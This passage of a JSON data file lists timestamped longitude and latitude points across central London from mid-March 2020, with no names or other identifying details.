longitude":-0.08623577989764156,"latitude":51.50020335681258},{"time":1584027141272,"longitude":-0.0861266318450221,"latitude":51.50031791275368},{"time":1584027414569,"longitude":-0.08659783201217046,"latitude":51.50024646639782},{"time":1584027819477,"longitude":-0.08663581081714936,"latitude":51.50016832540147},{"time":1584027906186,"longitude":-0.08402094756971498,"latitude":51.49982251725621},{"time":1584028556937,"longitude":-0.0865630686158652,"latitude":51.49976401072567},{"time":1584035327182,"longitude":-0.05254527952629147,"latitude":51.53236171577721},{"time":1584035375521,"longitude":-0.11359616075983033,"latitude":51.53883478408871},{"time":1584035383342,"longitude":-0.1195010289703897,"latitude":51.539536677914704},{"time":1584035476802,"longitude":-0.10810674679358954,"latitude":51.51771211574293},{"time":1584035603213,"longitude":-0.05635408514498882,"latitude":51.47791818028452},{"time":1584035623955,"longitude":-0.11182893818981429,"latitude":51.49799020165955},{"time":1584035807708,"longitude":-0.11265330415143512,"latitude":51.51128997443139},{"time":1584036678958,"longitude":-0.09666410462162353,"latitude":51.511318701077215},{"time":1584036970490,"longitude":-0.07574808478348143,"latitude":51.46696943012278},{"time":1584037110350,"longitude":-0.0525212952973663,"latitude":51.4970879656668},{"time":1584037276369,"longitude":-0.0869372993370721,"latitude":51.51709865822163},{"time":1584037314673,"longitude":-0.07227334754039247,"latitude":51.4858622644308},{"time":1584037533319,"longitude":-0.12539540018019135,"latitude":51.45593715671204},{"time":1584037721630,"longitude":-0.11001124472560336,"latitude":51.52934829538139},{"time":1584037973132,"longitude":-0.10114374029518171,"latitude":51.54797545035042},{"time":1584038040905,"longitude":-0.10357652512729498,"latitude":51.54792668198866},{"time":1584038303715,"longitude":-0.11563341271180892,"latitude":51.534039989223366},{"time":1584038638839,"longitude":-0.10765904553140158,"latitude":51.558120436856136},{"time":1584038664595,"longitude":-0.09919839635364157,"latitude":51.536808662759526},{"time":1584038707625,"longitude":-0.10711900117461917,"latitude":51.555138924748},{"time":1584038718681,"longitude":-0.11087505468569704,"latitude":51.520491089826336},{"time":1584038735648,"longitude":-0.08982865612401222,"latitude":51.46946740590021},{"time":1584038796241,"longitude":-0.10538935207693141,"latitude":51.55643893187018},{"time":1584038922977,"longitude":-0.08900380932908085,"latitude":51.49523052602582},{"time":1584038997205,"longitude":-0.1121097770839132,"latitude":51.532982583298256},{"time":1584039149384,"longitude":-0.10693651304068434,"latitude":51.552772982650964},{"time":1584039262093,"longitude":-0.11038669973099746,"latitude":51.55339729813332},{"time":1584039286959,"longitude":-0.09912701614126665,"latitude":51.52878336397176},{"time":1584039350557,"longitude":-0.11132197379272897,"latitude":51.47912942334704},{"time":1584039376646,"longitude":-0.1153776877263257,"latitude":51.55774225709722},{"time":1584039490671,"longitude":-0.11031648688823348,"latitude":51.55478517447828},{"time":1584039739069,"longitude":-0.07979614168990004,"latitude":51.54750252520252},{"time":1584039857461,"longitude":-0.09999089095806651,"latitude":51.541557003518754},{"time":1584039929067,"longitude":-0.10538004911514191,"latitude":51.55416207875608},{"time":1584039931041,"longitude":-0.10623978501123374,"latitude":51.54700014077676},{"time":1584039970868,"longitude":-0.1025871908301712,"latitude":51.535285277639225},{"time":1584040139414,"longitude":-0.10785756479654209,"latitude":51.536754230430006},{"time":1584040156902,"longitude":-0.11911959931624633,"latitude":51.55318330970356},{"time":1584040202618,"longitude":-0.11401489685562369,"latitude":51.53922574140297},{"time":1584040411461,"longitude":-0.11300991438181351,"latitude":51.53701850625585},{"time":1584040643103,"longitude":-0.11739488253552838,"latitude":51.54517193737575},{"time":1584040703315,"longitude":-0.11904964826624505,"latitude":51.555318624934536},{"time":1584040703467,"longitude":-0.11761796009076954,"latitude":51.52630702200297},{"time":1584040940537,"longitude":-0.11826258927418298,"latitude":51.54151729125442},{"time":1584041142835,"longitude":-0.11285353980133715,"latitude":51.55192933301918},{"time":1584041215355,"longitude":-0.10144107001898252,"latitude":51.53541458174927},{"time":1584041357609,"longitude":-0.10979722759899378,"latitude":51.535758784692234},{"time":1584041803364,"longitude":-0.10840807832047432,"latitude":51.534982617486186},{"time":1584086566526,"longitude":-0.07515016084483984,"latitude":51.52229014384004},{"time":1584086595104,"longitude":-0.08783034384286416,"latitude":51.52485658103975},{"time":1584086614164,"longitude":-0.08955427401975241,"latitude":51.522313085455586},{"time":1584086674622,"longitude":-0.07458880872499764,"latitude":51.52539905120883},{"time":1584087029813,"longitude":-0.08285138565588421,"latitude":51.52589001923574},{"time":1584087186370,"longitude":-0.07638222004120598,"latitude":51.526021913568655},{"time":1584087268982,"longitude":-0.0877532470160131,"latitude":51.52264494418551},{"time":1584087355046,"longitude":-0.07733322100607577,"latitude":51.52240539934325},{"time":1584087511857,"longitude":-0.08239744478575127,"latitude":51.525351372073054},{"time":1584087550715,"longitude":-0.08259766410280626,"latitude":51.52551864446654},{"time":1584087563340,"longitude":-0.0736626770811019,"latitude":51.52338897567335},{"time":1584087731789,"longitude":-0.07122742116662739,"latitude":51.521804871217284},{"time":1584087744341,"longitude":-0.08257690038927942,"latitude":51.52543404725354},{"time":1584087883715,"longitude":-0.08244143071020682,"latitude":51.52537967791206},{"time":1584088125061,"longitude":-0.08236261481736414,"latitude":51.52539943066358},{"time":1584088205591,"longitude":-0.08272834878234944,"latitude":51.52518726593602},{"time":1584088256899,"longitude":-0.07737706937457013,"latitude":51.5229682745364},{"time":1584088426198,"longitude":-0.08244836171892228,"latitude":51.525365961908655},{"time":1584088480030,"longitude":-0.07870883968755393,"latitude":51.523974622766865},{"time":1584088526379,"longitude":-0.08252509839085995,"latitude":51.525256027017534},{"time":1584088566768,"longitude":-0.08269038360732642,"latitude":51.52540882081727},{"time":1584088615145,"longitude":-0.07577548251125069,"latitude":51.52266655324944},{"time":1584088658740,"longitude":-0.07364681829085554,"latitude":51.52454951282514},{"time":1584088680024,"longitude":-0.08278072775321993,"latitude":51.52547827594507},{"time":1584088681723,"longitude":-0.0826555045052966,"latitude":51.5255381745573},{"time":1584088700023,"longitude":-0.08767834665254547,"latitude":51.52348292224257},{"time":1584088730379,"longitude":-0.08875851499226255,"latitude":51.52606932047972},{"time":1584088793951,"longitude":-0.08235461239536808,"latitude":51.52533370227383},{"time":1584088793986,"longitude":-0.08271412411144619,"latitude":51.52538472597729},{"time":1584088843535,"longitude":-0.0732994721129449,"latitude":51.52388791734343},{"time":1584088863792,"longitude":-0.08255462909100857,"latitude":51.52533109855184},{"time":1584089150324,"longitude":-0.08245323035342915,"latitude":51.52554997822929},{"time":1584089151000,"longitude":-0.0826118841789482,"latitude":51.52550556202766},{"time":1584089172199,"longitude":-0.08234064580016873,"latitude":51.5254572391239},{"time":1584089218736,"longitude":-0.08248682735377469,"latitude":51.525195350371014},{"time":1584089240762,"longitude":-0.08240145421957587,"latitude":51.52527751750145},{"time":1584089273096,"longitude":-0.08267438556458556,"latitude":51.52536484448167},{"time":1584089448229,"longitude":-0.08239251764536326,"latitude":51.52527209644096},{"time":1584089502540,"longitude":-0.08271801580464633,"latitude":51.52555866824375},{"time":1584089561200,"longitude":-0.08256104180770459,"latitude":51.52562365860136},{"time":1584089574962,"longitude":-0.08269358912250623,"latitude":51.52540815896835},{"time":1584089595850,"longitude":-0.0826281710016564,"latitude":51.52555319148681},{"time":1584089605186,"longitude":-0.08247726529704673,"latitude":51.525590846057256},{"time":1584089784115,"longitude":-0.08263586735378758,"latitude":51.52556835326169},{"time":1584089882636,"longitude":-0.08278839597174664,"latitude":51.52504527797833},{"time":1584089921100,"longitude":-0.08317362489584008,"latitude":51.525069807865634},{"time":1584089945800,"longitude":-0.08274736966547226,"latitude":51.52512799471192},{"time":1584089947800,"longitude":-0.08238710030713146,"latitude":51.52554601500374},{"time":1584090021481,"longitude":-0.08268560604497485,"latitude":51.525393689609},{"time":1584090040896,"longitude":-0.08236400992860107,"latitude":51.525412890535904},{"time":1584090065941,"longitude":-0.08261413982235698,"latitude":51.525062502977825},{"time":1584090158331,"longitude":-0.08272143498122485,"latitude":51.525488120184946},{"time":1584090168558,"longitude":-0.08242462504934152,"latitude":51.52556445864779},{"time":1584090223205,"longitude":-0.08246212691098793,"latitude":51.52513940329316},{"time":1584090261802,"longitude":-0.08154612042959168,"latitude":51.525793923372184},{"time":1584090281943,"longitude":-0.08359061460889257,"latitude":51.52558115045363},{"time":1584090332226,"longitude":-0.08222200918948801,"latitude":51.52570455653693},{"time":1584090405805,"longitude":-0.0827372806094852,"latitude":51.52539664224234},{"time":1584090432563,"longitude":-0.08268462288054523,"latitude":51.525143515706255},{"time":1584090528623,"longitude":-0.08338858839215346,"latitude":51.52505250370931},{"time":1584090553500,"longitude":-0.08316747669120593,"latitude":51.52484212473831},{"time":1584090733037,"longitude":-0.08272436902796255,"latitude":51.525450197199895},{"time":1584090834665,"longitude":-0.08275587269652981,"latitude":51.52548343412523},{"time":1584090843701,"longitude":-0.08251224368111476,"latitude":51.52499551198814},{"time":1584090975933,"longitude":-0.08281494002479253,"latitude":51.52514867166835},{"time":1584091104256,"longitude":-0.08261493342151646,"latitude":51.52525281522723},{"time":1584091129158,"longitude":-0.0827826712547865,"latitude":51.525525923139696},{"time":1584091157725,"longitude":-0.08270935094457878,"latitude":51.52550900022943},{"time":1584091200366,"longitude":-0.08242306363478154,"latitude":51.52538950557632},{"time":1584091253800,"longitude":-0.08271979947356313,"latitude":51.52531911810368},{"time":1584091408556,"longitude":-0.0828418827810442,"latitude":51.525006600628004},{"time":1584091524058,"longitude":-0.08132991984152069,"latitude":51.52567493449791},{"time":1584091642717,"longitude":-0.08176775493523532,"latitude":51.52602479711368},{"time":1584091712208,"longitude":-0.08236015896044557,"latitude":51.52481380753217},{"time":1584091795766,"longitude":-0.081400110014465,"latitude":51.52624261181467},{"time":1584091797439,"longitude":-0.0817764825305954,"latitude":51.52599303828047},{"time":1584091835301,"longitude":-0.0826531919978064,"latitude":51.49659261804786},{"time":1584091942535,"longitude":-0.0857581524958433,"latitude":51.50272338929604},{"time":1584091953996,"longitude":-0.0834814945526963,"latitude":51.50253239646291},{"time":1584092028625,"longitude":-0.08151661190774362,"latitude":51.5254749907011},{"time":1584092093684,"longitude":-0.08295856086230897,"latitude":51.52564353959035},{"time":1584092320202,"longitude":-0.0867040877235381,"latitude":51.49582105082591},{"time":1584092402287,"longitude":-0.08452804932540987,"latitude":51.503051913238764},{"time":1584092419053,"longitude":-0.08255616621865319,"latitude":51.52487688420125},{"time":1584092428927,"longitude":-0.0825442055862004,"latitude":51.52595620976007},{"time":1584092454048,"longitude":-0.08699581477378862,"latitude":51.497250940280715},{"time":1584092473436,"longitude":-0.08155351962047636,"latitude":51.525905318370604},{"time":1584092478687,"longitude":-0.0834827708579787,"latitude":51.503038186657534},{"time":1584092662680,"longitude":-0.08327901546884062,"latitude":51.504641074111696},{"time":1584092707914,"longitude":-0.08805160045578478,"latitude":51.504234053358594},{"time":1584093142338,"longitude":-0.08599594468279682,"latitude":51.50806829218442},{"time":1584093291495,"longitude":-0.08478391211816405,"latitude":51.50236775889668},{"time":1584093447685,"longitude":-0.0861700138738576,"latitude":51.4950694128348},{"time":1584093486513,"longitude":-0.08793944679146654,"latitude":51.50704425835533},{"time":1584093540002,"longitude":-0.08303498153414678,"latitude":51.5037475433654},{"time":1584093591074,"longitude":-0.08625132750757995,"latitude":51.49827137493},{"time":1584093946306,"longitude":-0.08610362395604543,"latitude":51.503728845275795},{"time":1584093947062,"longitude":-0.08581207127605397,"latitude":51.50691925839324},{"time":1584093957890,"longitude":-0.0879964697057746,"latitude":51.49609890863939},{"time":1584094025496,"longitude":-0.08342276786468154,"latitude":51.498981003888524},{"time":1584128032144,"longitude":-0.12986073823815933,"latitude":51.50428026890349},{"time":1584128162911,"longitude":-0.08422989002019496,"latitude":51.51554680152542},{"time":1584128235157,"longitude":-0.07082060416135658,"latitude":51.53094058430101},{"time":1584128251786,"longitude":-0.1358527352792558,"latitude":51.538482887750696},{"time":1584128257071,"longitude":-0.11556319548871578,"latitude":51.49537677307848},{"time":1584128308804,"longitude":-0.12128848210680812,"latitude":51.46333288679386},{"time":1584128460403,"longitude":-0.10165883877103579,"latitude":51.49774659504872},{"time":1584128912075,"longitude":-0.13857695478968213,"latitude":51.55575409948759},{"time":1584129517393,"longitude":-0.12745125170516405,"latitude":51.589485637581724},{"time":1584129571668,"longitude":-0.05670816456954966,"latitude":51.48869428541508},{"time":1584130006876,"longitude":-0.1130449649780162,"latitude":51.49275765960435},{"time":1584130233343,"longitude":-0.06207799332044218,"latitude":51.49535495735503},{"time":1584130853069,"longitude":-0.06190701092167894,"latitude":51.519586813193825},{"time":1584130902218,"longitude":-0.07955217836613923,"latitude":51.52828584243309},{"time":1584131333448,"longitude":-0.09909211310216814,"latitude":51.53443285791591},{"time":1584131391516,"longitude":-0.10757409853736791,"latitude":51.547037247292764},{"time":1584131453485,"longitude":-0.1296209345578258,"latitude":51.45917398911084},{"time":1584131529570,"longitude":-0.10361134507808893,"latitude":51.45921406063519},{"time":1584131561320,"longitude":-0.10758012912285664,"latitude":51.54491961970655},{"time":1584131693243,"longitude":-0.13557305611455656,"latitude":51.46455751984669},{"time":1584131747497,"longitude":-0.08399473155754886,"latitude":51.57879939836014},{"time":1584131802322,"longitude":-0.11186569543855611,"latitude":51.55034695819934},{"time":1584131847228,"longitude":-0.089660754036479,"latitude":51.53287615815662},{"time":1584131896662,"longitude":-0.1274935657166714,"latitude":51.47465794385158},{"time":1584132146163,"longitude":-0.10898240630283085,"latitude":51.54529780318468},{"time":1584132150062,"longitude":-0.08698691590967565,"latitude":51.47426477960963},{"time":1584132162578,"longitude":-0.10867334664683004,"latitude":51.54432785002505},{"time":1584132221413,"longitude":-0.10838512715747733,"latitude":51.54511559337156},{"time":1584132292488,"longitude":-0.11596176289516451,"latitude":51.52753610727741},{"time":1584132312297,"longitude":-0.1105159371694047,"latitude":51.56249051682542},{"time":1584132324437,"longitude":-0.058284998460121765,"latitude":51.47152259830058},{"time":1584132589237,"longitude":-0.11502908670672136,"latitude":51.54552816911815},{"time":1584132838966,"longitude":-0.06189750917220042,"latitude":51.504960829693935},{"time":1584132953477,"longitude":-0.11016055964196607,"latitude":51.54683023595581},{"time":1584133001724,"longitude":-0.11226884768539688,"latitude":51.54450684393615},{"time":1584133006860,"longitude":-0.10652351919185664,"latitude":51.49479809360897},{"time":1584133054805,"longitude":-0.10982705211166865,"latitude":51.544328736408055},{"time":1584133298693,"longitude":-0.09909858404727107,"latitude":51.58792923093857},{"time":1584133330090,"longitude":-0.09796796632719557,"latitude":51.50262967784032},{"time":1584172798647,"longitude":-0.0672595264658597,"latitude":51.544913280010576},{"time":1584172902942,"longitude":-0.1426218702509029,"latitude":51.53844393367988},{"time":1584173061962,"longitude":-0.09898926256156494,"latitude":51.54712594131976},{"time":1584173246513,"longitude":-0.12397741823865813,"latitude":51.5382733148459},{"time":1584173352997,"longitude":-0.14628964402394753,"latitude":51.54422120918752},{"time":1584173353188,"longitude":-0.09020620105431332,"latitude":51.53901436358211},{"time":1584173574116,"longitude":-0.12076477733677082,"latitude":51.556093331897785},{"time":1584173616770,"longitude":-0.1363824744149316,"latitude":51.54708448379636},{"time":1584173629224,"longitude":-0.10263425279537469,"latitude":51.548284189047656},{"time":1584173650046,"longitude":-0.10766820328257204,"latitude":51.55414088802019},{"time":1584173704593,"longitude":-0.10754886004085687,"latitude":51.55030755899095},{"time":1584174038017,"longitude":-0.1378570133427954,"latitude":51.54704675432675},{"time":1584174148444,"longitude":-0.07094198046049313,"latitude":51.542223677375276},{"time":1584174269921,"longitude":-0.07414190727106773,"latitude":51.52785662975702},{"time":1584174349580,"longitude":-0.13133136632859074,"latitude":51.549360448304206},{"time":1584174437741,"longitude":-0.07803563163409022,"latitude":51.505712983609044},{"time":1584174462294,"longitude":-0.07174020478677044,"latitude":51.54926369386302},{"time":1584174476688,"longitude":-0.08668490288158445,"latitude":51.506350371951484},{"time":1584174632166,"longitude":-0.10031923890028216,"latitude":51.55414640001365},{"time":1584174633915,"longitude":-0.07902771942145197,"latitude":51.51279619907715},{"time":1584174685146,"longitude":-0.08805884474261387,"latitude":51.548386923023386},{"time":1584174732641,"longitude":-0.07759893751181703,"latitude":51.53705787773794},{"time":1584174836924,"longitude":-0.06885971082214601,"latitude":51.54152035781652},{"time":1584174886962,"longitude":-0.11012385986370056,"latitude":51.555201619826796},{"time":1584175006942,"longitude":-0.07734401131459967,"latitude":51.511685310022514},{"time":1584175270052,"longitude":-0.07516213400350787,"latitude":51.507448221028596},{"time":1584175301485,"longitude":-0.08280579287092579,"latitude":51.51496874455042},{"time":1584175324986,"longitude":-0.0829330210023731,"latitude":51.51505044285317},{"time":1584175366478,"longitude":-0.07222813590214,"latitude":51.54825784568081},{"time":1584175367279,"longitude":-0.10002831762774426,"latitude":51.55024559277456},{"time":1584175402593,"longitude":-0.10635454015798125,"latitude":51.55436725090043},{"time":1584175517354,"longitude":-0.08280116316428257,"latitude":51.515022508233166},{"time":1584175575330,"longitude":-0.08583999717937114,"latitude":51.51644196257338},{"time":1584175768423,"longitude":-0.07711925137166697,"latitude":51.52780452324894},{"time":1584176069462,"longitude":-0.08327704208934208,"latitude":51.51819506343527},{"time":1584176299505,"longitude":-0.07464566379571796,"latitude":51.50348067149474},{"time":1584176416652,"longitude":-0.07342827685979239,"latitude":51.52476017664934},{"time":1584176601384,"longitude":-0.07425673697837958,"latitude":51.520352627592914},{"time":1584176603530,"longitude":-0.08295057427909923,"latitude":51.51508445363017},{"time":1584176678312,"longitude":-0.06950544549185017,"latitude":51.5346415540133},{"time":1584176724459,"longitude":-0.08605484459502967,"latitude":51.539771137820985},{"time":1584176749338,"longitude":-0.08302452423673286,"latitude":51.51527019259063},{"time":1584176817820,"longitude":-0.08284945791746226,"latitude":51.51496124629495},{"time":1584176838207,"longitude":-0.0827758949311382,"latitude":51.514888868955666},{"time":1584176862232,"longitude":-0.08303856967683858,"latitude":51.51511604492516},{"time":1584176864835,"longitude":-0.0830256683537699,"latitude":51.51525568748092},{"time":1584176907004,"longitude":-0.08291551917740712,"latitude":51.51478897264827},{"time":1584176920660,"longitude":-0.08485219210568903,"latitude":51.50427462799903},{"time":1584176953390,"longitude":-0.08299632738514982,"latitude":51.514976043111666},{"time":1584176964612,"longitude":-0.08282077019308287,"latitude":51.515107792841015},{"time":1584177108859,"longitude":-0.08297927090615685,"latitude":51.515110437167365},{"time":1584177111551,"longitude":-0.08291295320321954,"latitude":51.51494049974716},{"time":1584177170576,"longitude":-0.08295207673982212,"latitude":51.515151874792934},{"time":1584177174775,"longitude":-0.08293383704282019,"latitude":51.51496996573614},{"time":1584177436480,"longitude":-0.0829082170592298,"latitude":51.51513063044192},{"time":1584177481358,"longitude":-0.08298952189957097,"latitude":51.51496145988759},{"time":1584177519495,"longitude":-0.08293841230488817,"latitude":51.51491088938131},{"time":1584177561370,"longitude":-0.08277353873481728,"latitude":51.514797653076386},{"time":1584177576717,"longitude":-0.0827845455414171,"latitude":51.51516272509476},{"time":1584177577861,"longitude":-0.08285078021497137,"latitude":51.515049161011184},{"time":1584177690581,"longitude":-0.08287812187443674,"latitude":51.51528729623924},{"time":1584177700897,"longitude":-0.08300161208671794,"latitude":51.51503990115088},{"time":1584177701207,"longitude":-0.08282845779997787,"latitude":51.5150374173733},{"time":1584177750368,"longitude":-0.08280642431322098,"latitude":51.51505344587067},{"time":1584177885034,"longitude":-0.08298363407232068,"latitude":51.51509599676196},{"time":1584177918786,"longitude":-0.08289442906713274,"latitude":51.51519111358003},{"time":1584177925876,"longitude":-0.08302123728067715,"latitude":51.515045624873665},{"time":1584178006605,"longitude":-0.08292240801048552,"latitude":51.51488836141074},{"time":1584178057621,"longitude":-0.08278676134076438,"latitude":51.515027681565314},{"time":1584178084491,"longitude":-0.08290844061977103,"latitude":51.515230388213794},{"time":1584178143278,"longitude":-0.08280026217372197,"latitude":51.51513586744337},{"time":1584178344251,"longitude":-0.0828593025174182,"latitude":51.51522069803947},{"time":1584178522220,"longitude":-0.08734710916851883,"latitude":51.49970082972994},{"time":1584178607840,"longitude":-0.08375991228982599,"latitude":51.5043910738714},{"time":1584178665135,"longitude":-0.08288048739737779,"latitude":51.514912430787604},{"time":1584178675980,"longitude":-0.08703061604289652,"latitude":51.493422112973064},{"time":1584178740891,"longitude":-0.08648253627781136,"latitude":51.49617951773763},{"time":1584178857794,"longitude":-0.08563337537567388,"latitude":51.49818751265071},{"time":1584178891329,"longitude":-0.0829445511086697,"latitude":51.514868749834825},{"time":1584178913356,"longitude":-0.08279865170364667,"latitude":51.514770640496415},{"time":1584179171134,"longitude":-0.08284859284219438,"latitude":51.51520538523374},{"time":1584179269941,"longitude":-0.08748490988941897,"latitude":51.49890965728219},{"time":1584179604676,"longitude":-0.0828191662470548,"latitude":51.51509732510347},{"time":1584179661656,"longitude":-0.08656589785384944,"latitude":51.50369579716782},{"time":1584180041977,"longitude":-0.08429249677798874,"latitude":51.50804438707112},{"time":1584180074731,"longitude":-0.08498597926395525,"latitude":51.505899713150555},{"time":1584180137482,"longitude":-0.08642703779058782,"latitude":51.49332862206533},{"time":1584180193708,"longitude":-0.08622036434371412,"latitude":51.50112393874561},{"time":1584180280246,"longitude":-0.08678260298986326,"latitude":51.504412242166275},{"time":1584180324994,"longitude":-0.08569343409809459,"latitude":51.497130017524945},{"time":1584180930212,"longitude":-0.08522095537679732,"latitude":51.495563170930915},{"time":1584180954284,"longitude":-0.08658217782896918,"latitude":51.49814505710229},{"time":1584181024428,"longitude":-0.08710975924744176,"latitude":51.49466959145988},{"time":1584181053055,"longitude":-0.08675975100062004,"latitude":51.502744931748744},{"time":1584181358183,"longitude":-0.0839994046010694,"latitude":51.498543044395106},{"time":1584181358943,"longitude":-0.0855472170228423,"latitude":51.49521895477224},{"time":1584181561256,"longitude":-0.08772046698080213,"latitude":51.50757316093389},{"time":1584187001232,"longitude":-0.08579801817029997,"latitude":51.50211496190488},{"time":1584187106422,"longitude":-0.08481408708843971,"latitude":51.50129542861158},{"time":1584187635394,"longitude":-0.08547065108713907,"latitude":51.50238402408163},{"time":1584187870621,"longitude":-0.08545012610962381,"latitude":51.50143666794904},{"time":1584188068731,"longitude":-0.08490899611846939,"latitude":51.5012036996544},{"time":1584188347620,"longitude":-0.08518939935498449,"latitude":51.49943918605185},{"time":1584188436449,"longitude":-0.08459954226503447,"latitude":51.50121891800447},{"time":1584188513347,"longitude":-0.0853329105999386,"latitude":51.5025413766922},{"time":1584188644042,"longitude":-0.08596957997448082,"latitude":51.50031616287763},{"time":1584188649905,"longitude":-0.08510218018598455,"latitude":51.4985836756943},{"time":1584188706199,"longitude":-0.08498569438066542,"latitude":51.50277384771245},{"time":1584188971849,"longitude":-0.08472664758080657,"latitude":51.49817859137548},{"time":1584189081227,"longitude":-0.08550489736905924,"latitude":51.501263713201766},{"time":1584189138643,"longitude":-0.0856183917725477,"latitude":51.498930208581086},{"time":1584189160099,"longitude":-0.08508548760634164,"latitude":51.497781578789585},{"time":1584189173128,"longitude":-0.08483750593541088,"latitude":51.50139643603367},{"time":1584189256002,"longitude":-0.0858481514223594,"latitude":51.498861797358444},{"time":1584189337789,"longitude":-0.08515901858202717,"latitude":51.498844693097396},{"time":1584189558618,"longitude":-0.08538649102433567,"latitude":51.498968729659396},{"time":1584189736954,"longitude":-0.08472069007197244,"latitude":51.503176727125016},{"time":1584189774711,"longitude":-0.08557071883842651,"latitude":51.49825298676899},{"time":1584189798306,"longitude":-0.08482775796337226,"latitude":51.50107303921274},{"time":1584189941304,"longitude":-0.0848148139886883,"latitude":51.498641949078056},{"time":1584190055962,"longitude":-0.08548218113102231,"latitude":51.497891920657274},{"time":1584190085548,"longitude":-0.08478394664732301,"latitude":51.50134615438305},{"time":1584190089323,"longitude":-0.08566146323695414,"latitude":51.502648390961895},{"time":1584190104464,"longitude":-0.08550937679282473,"latitude":51.50241935332976},{"time":1584190123263,"longitude":-0.08578736761474884,"latitude":51.5008911278864},{"time":1584190160154,"longitude":-0.08525799437144914,"latitude":51.498746969504815},{"time":1584190295216,"longitude":-0.08563901141417687,"latitude":51.502794751754045},{"time":1584190345595,"longitude":-0.08553735668573516,"latitude":51.4977214897587},{"time":1584190480537,"longitude":-0.08522229040965157,"latitude":51.503657196413485},{"time":1584190690606,"longitude":-0.0855090616266877,"latitude":51.49775188500554},{"time":1584190831754,"longitude":-0.08605879423779593,"latitude":51.50181115018834},{"time":1584190962809,"longitude":-0.08524198700320369,"latitude":51.49896449657454},{"time":1584191233156,"longitude":-0.08447454804548792,"latitude":51.49916933458912},{"time":1584191459596,"longitude":-0.08608472446710358,"latitude":51.499752413904645},{"time":1584201962775,"longitude":-0.0954093063514038,"latitude":51.50448158427902},{"time":1584202110965,"longitude":-0.08731488292345127,"latitude":51.50348945326565},{"time":1584202231772,"longitude":-0.09485462637513462,"latitude":51.49457002198847},{"time":1584202287438,"longitude":-0.08497309800411873,"latitude":51.511131663297014},{"time":1584202368922,"longitude":-0.08016758373465285,"latitude":51.49579715224068},{"time":1584202492704,"longitude":-0.09299366955511136,"latitude":51.51303872046536},{"time":1584202738363,"longitude":-0.09080108909361757,"latitude":51.50793872466849},{"time":1584202865489,"longitude":-0.09588118117737846,"latitude":51.50351095050535},{"time":1584203140139,"longitude":-0.09441862221018267,"latitude":51.494742349793974},{"time":1584203325037,"longitude":-0.08986523371943159,"latitude":51.49571578714804},{"time":1584204030908,"longitude":-0.08588488135802096,"latitude":51.493570360863785},{"time":1584204083167,"longitude":-0.09071077525920467,"latitude":51.505288550314624},{"time":1584204238876,"longitude":-0.09115474124025967,"latitude":51.50538268090676},{"time":1584204251589,"longitude":-0.09086589775535549,"latitude":51.50523649440065},{"time":1584204310122,"longitude":-0.09113888423824099,"latitude":51.50520589302743},{"time":1584204349453,"longitude":-0.09073741588722205,"latitude":51.50523783653575},{"time":1584204403987,"longitude":-0.09086651529067259,"latitude":51.505273156084414},{"time":1584204469971,"longitude":-0.0926658154841951,"latitude":51.50166769473862},{"time":1584204641300,"longitude":-0.09093949024575877,"latitude":51.505321556723786},{"time":1584204697673,"longitude":-0.09094246747946373,"latitude":51.50522286295459},{"time":1584204790856,"longitude":-0.08675761269979321,"latitude":51.49849405434208},{"time":1584204836788,"longitude":-0.09065938664459502,"latitude":51.50518760064382},{"time":1584204851046,"longitude":-0.09082620326599798,"latitude":51.50528503711632},{"time":1584204931293,"longitude":-0.0910967473039942,"latitude":51.50512150801757},{"time":1584205290224,"longitude":-0.09087815713881209,"latitude":51.50523354931197},{"time":1584205295068,"longitude":-0.08819009100891087,"latitude":51.51059112204383},{"time":1584205309201,"longitude":-0.09466546512305041,"latitude":51.49350696096813},{"time":1584205377078,"longitude":-0.09094541139349616,"latitude":51.50515692295834},{"time":1584205582159,"longitude":-0.09417864126272131,"latitude":51.49946108576074},{"time":1584205703144,"longitude":-0.0910879190652885,"latitude":51.505158458075066},{"time":1584205714759,"longitude":-0.09072295745003621,"latitude":51.50508991711136},{"time":1584205897654,"longitude":-0.09107261767589074,"latitude":51.50534212626088},{"time":1584206063491,"longitude":-0.0907891824462771,"latitude":51.50523701313669},{"time":1584206191746,"longitude":-0.09094557603308054,"latitude":51.50514397258166},{"time":1584206320866,"longitude":-0.09091877522619629,"latitude":51.50520502957108},{"time":1584206404045,"longitude":-0.09070429634085979,"latitude":51.505328353079946},{"time":1584206503538,"longitude":-0.09112486973382654,"latitude":51.50524101302247},{"time":1584206536463,"longitude":-0.09096149947954112,"latitude":51.50513210801582},{"time":1584206550917,"longitude":-0.07906176472719367,"latitude":51.50662029994934},{"time":1584206551009,"longitude":-0.0908397636334527,"latitude":51.505221797300685},{"time":1584206562842,"longitude":-0.09103823035005755,"latitude":51.505162617053564},{"time":1584206596185,"longitude":-0.09074754839501815,"latitude":51.50510247848115},{"time":1584206599737,"longitude":-0.09083136970798823,"latitude":51.50512597862324},{"time":1584206617295,"longitude":-0.09085479761721875,"latitude":51.505298455663905},{"time":1584206623236,"longitude":-0.09449452819801724,"latitude":51.4969769453789},{"time":1584206639445,"longitude":-0.09098009327240564,"latitude":51.50521477969328},{"time":1584206698721,"longitude":-0.09103378794640916,"latitude":51.505080472438905},{"time":1584206699811,"longitude":-0.09084760290928577,"latitude":51.505186776029646},{"time":1584206711270,"longitude":-0.09092666323879504,"latitude":51.50518263317902},{"time":1584206718757,"longitude":-0.09079570347638083,"latitude":51.50515815369755},{"time":1584206750990,"longitude":-0.09079560062340324,"latitude":51.505399167937576},{"time":1584206819704,"longitude":-0.09115892781356683,"latitude":51.50520162000621},{"time":1584207188497,"longitude":-0.09075468520371019,"latitude":51.50518998191729},{"time":1584207230042,"longitude":-0.09077257631077375,"latitude":51.50519738873065},{"time":1584207244698,"longitude":-0.09075292771627194,"latitude":51.50518375879683},{"time":1584207350176,"longitude":-0.09069709339319898,"latitude":51.50530656367934},{"time":1584207372771,"longitude":-0.09092432168564449,"latitude":51.50515070830071},{"time":1584207419718,"longitude":-0.09081447581150925,"latitude":51.505218104916494},{"time":1584207483427,"longitude":-0.0910286249950214,"latitude":51.50515265122006},{"time":1584207496902,"longitude":-0.09085664106265702,"latitude":51.50522124082425},{"time":1584207572309,"longitude":-0.09102238376947905,"latitude":51.5051888781094},{"time":1584207725173,"longitude":-0.09098034080114807,"latitude":51.50523102388343},{"time":1584207730369,"longitude":-0.09077408930309228,"latitude":51.50519653977032},{"time":1584207754701,"longitude":-0.09408966051199127,"latitude":51.50561323378992},{"time":1584207788421,"longitude":-0.09103499441635844,"latitude":51.50524728116981},{"time":1584207803916,"longitude":-0.09095416914628084,"latitude":51.50519022967321},{"time":1584207814526,"longitude":-0.0858458843232947,"latitude":51.505227273176644},{"time":1584207900254,"longitude":-0.09075644069294792,"latitude":51.50520179697479},{"time":1584208